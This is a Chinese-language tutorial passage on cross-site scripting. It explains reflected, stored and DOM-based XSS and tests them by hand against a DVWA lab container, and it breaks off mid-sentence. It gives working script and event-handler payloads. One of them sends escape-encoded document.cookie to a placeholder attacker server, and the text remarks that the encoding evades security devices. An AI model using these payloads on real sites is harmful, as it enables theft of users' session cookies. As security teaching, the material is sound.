目录
一、基本概念
-
跨站脚本攻击主要针对的是用户层面的攻击。恶意攻击者往WEB页面内插入恶意脚本,当用户浏览该页面时,嵌入web里面的恶意代码就会被执行,从而达到恶意攻击用户的目的。有两个前提条件:一个是是否能够插入恶意脚本或者JS代码;一个是这个恶意代码是否能够被执行。
-
在WEB页面上,有一种常见的功能是:将用户输入的内容输出到页面上。但是如果输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。
二、XSS分类
1、反射型XSS
是一种非持久的攻击。只有攻击者诱导用户去点击URL访问网站才会造成攻击。
2、存储型XSS
是一种持久攻击。攻击者只需要将恶意代码保存在一个网页中,只要用户来访问这个页面,就会被攻击,谁来攻击谁。
3、DOM型XSS
是一种特殊的反射型XSS。DOM是文档对象模型,里面包含关于HTML的整体文档框架。我们可以通过JS操作一个一个的DOM对象,构造的恶意代码或者脚本可以处理这些DOM对象按照攻击者预设的意思或者代码逻辑进行执行,这样就造成了DOM型的XSS攻击。
三、手工测试
练习漏洞的靶场是DVWA,这里我使用的端口映射是8080.
docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 sagikazarmark/dvwa
1、反射型XSS漏洞
(1)安全等级low
<script>alert(1)</script> 会造成一个弹窗。这个JS代码的语义是<script></script>是html标签,在中间的alert(1)是JS代码,会以JS代码逻辑去执行。当浏览器接收到这串代码之后,浏览器的渲染引擎认识左右两边的html标签,该标签的语义是中间写的内容都是JS代码,然后将JS代码交给解析引擎去处理,最终造成一个弹窗的结果。 <script>alert(XSS)</script> 会[object HTMLFormElement]报错,这是因为XSS是一个字符串,需要使用单引号括起来。 <script>alert('XSS')</script> 这样就可以弹出xss


通过标签和事件的对应关系也可以造成弹窗 <img src=## οnerrοr=alert(document.cookie)> 这是img标签,其中img_src后面应该写的一张图片的路径,当路径发生错误的之后则执行后面的事件,触发弹窗。document.cookie可以返回当前网页的cookie值。 事件与标签之间是一一对应的,这里a标签对应的事件是onmouseover,需要鼠标移动到a标签的位置才能触发。 <a οnmοuseοver=alert(document.cookie)>红包</a>
(2)DOM的XSS
- 上面所述的都是只有受攻击的人自己可以看到当前网页的cookie,攻击者无法看到,这对于攻击者来说是毫无意义的。且这样只能证明存在XSS漏洞。所以我们要将cookie发送到远程服务器中。
<script>var img=document.createElement("img");img_src=alert(document.cookie);</script> 造成弹窗 <script>var img=document.createElement("img");img_src="http://xxxx/a?"+escape(document.cookie);</script> var是用来声明一个变量,加号是用来进行拼接的,escape是一种编码方式。将收到的cookie进行escape编码然后拼接到前面的网站中,那么这个网站是攻击者的服务器,只有攻击者可以看到,而其他人看不到。攻击者可以在自己的WEB日志中进行查看,根据访问行为去获取cookie编码之后的值,然后解码得到cookie值;这里cookie编码是为了躲避安全设备的检测。
(3)安全等级medium
- 当安全等级为中等的时候,我们通过查看dvwa网页的SQL语句会发现网站采用了name = str_replace( '\